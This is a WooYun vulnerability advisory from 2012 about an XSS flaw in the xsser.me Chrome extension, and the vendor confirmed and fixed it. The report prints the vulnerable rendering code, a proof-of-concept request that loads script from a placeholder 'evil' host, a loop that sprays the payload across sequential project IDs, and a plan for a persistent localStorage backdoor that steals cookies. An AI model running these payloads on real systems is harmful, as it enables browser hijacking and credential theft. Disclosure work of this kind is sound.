当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013414

漏洞标题:xsser.me的跨站漏洞

相关厂商:乌云官方

漏洞作者: p.z

提交时间:2012-10-16 17:31

修复时间:2012-11-04 16:50

公开时间:2012-11-04 16:50

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-16: 细节已通知厂商并且等待厂商处理中
2012-10-19: 厂商已经确认,细节仅向厂商公开
2012-10-29: 细节向核心白帽子及相关领域专家公开
2012-11-04: 厂商提前公开漏洞,细节向公众公开

简要描述:

xsser.me官方提供的chrome插件存在一漏洞,成功利用后,可以在造成在该插件的chrome区的一个xss,通过继承插件的权限,攻击者可以进行进一步攻击,通过进一步的攻击,可以再chrome下留下一个持久的后门,攻击者可以在用户运行浏览器的时候,在任意标签页执行JS代码,获取任意域下的cookie(包括httponly)等等。

详细说明:

对xsser.crx解压
popup.html

function render(cookies){
var list = document.getElementById('list');
for(var i=0,x,html='';x=cookies[i];i++){
x.desc_url=x.url.length>75?x.url.substr(0,75):x.url;
html+="<li><a title=':{url}' href='javascript:void(0)' onclick=\"replay(':{url}',':{cookie}')\">:{desc_url}</a></li>"
.replace(/:{\w+}/ig,function(k){return x[k.substring(2,k.length-1)]});
}
list.innerHTML=html;
}


xsser.me提供的api接口虽然对一些特殊字符进行了编码,吧'编码成了&#039;,但是在特定的条件下,&#039;还是会被当成'来对待。如下情况:

<img src=2 onerror="alert(&#039;2')">


在本次案例中,cookie被直接带入了onclick="replay(':{url}',':{cookie}')"中,因此可以造成onclick的属性值的js语意截断,执行任意代码。由于发生xss的地方不再是传统的web域,而是在插件处,因此能做的事情也就更多了,关于更多chrome插件安全的科普(http://www.slideshare.net/kkotowicz/advanced-chrome-extension-exploitation)

漏洞证明:

PoC

(new Image()).src="http://xssplatform.sinaapp.com/index.php?do=api&id=92&location=http%3A//www.iana.org/domains/example/&toplocation=http%3A//www.iana.org/domains/example/l&cookie=');(function(){d=document;e=d.createElement('script');e.src='http://evil/xss.js?'%2bMath.random();d.body.appendChild(e);})()//&opener=";


由于xsser.me的projectId是可以预测的(递增的数字),因此可以写一段JS代码,对所有的project都发送一个我构造好的payload log

for(var i=0; i<100; i++){
(new Image()).src="http://xssplatform.sinaapp.com/index.php?do=api&id="+i+"&location=http%3A//www.iana.org/domains/example/&toplocation=http%3A//www.iana.org/domains/example/l&cookie=');(function(){d=document;e=d.createElement('script');e.src='http://evil/xss.js?'%2bMath.random();d.body.appendChild(e);})()//&opener=";
}


可以利用下老外写的xss chef(专门搞chrome插件的xss的框架)


但是我们现在的漏洞还是处于一个不完美的状态,因为每一次利用都需要进行一次点击,用简单的话说,我们要把这个反射型xss变成一个存储型xss。
插件的功能是这样实现的:
加载 -> 获取存储在localStorage中的数据 -> render() -> 隔30s调用load函数 -> load函数去对比xsser.me提供的数据和本地数据,判断是否有新的client
上面的render函数直接把desc_url输出,因此他的安全完全取决于外部传入数据(本次案例是xsser.m提供的数据)的安全,如果我们修改localStorage中的数据,render函数输出的html就可以造成xss。
下面是我们的思路
本次运行时:
用户点击 -> 触发xss -> 劫持load函数,并污染本地的localStorage数据。
由于劫持了load函数,因此不会再去官方拉取最新的数据,避免了将已经污染的本地localStorage数据再还原。
下次运行时,localStorage数据已经是被污染了,render()函数渲染后执行了我们加入的xss payload,xss payload再去劫持load函数,达到rootkit的目的。

修复方案:

1.修复插件中的漏洞。
2.xsser.me的projectID变成随机字符串,不可预测。

版权声明:转载请注明来源 p.z@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-10-19 20:12

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

2012-11-04:漏洞已完全修复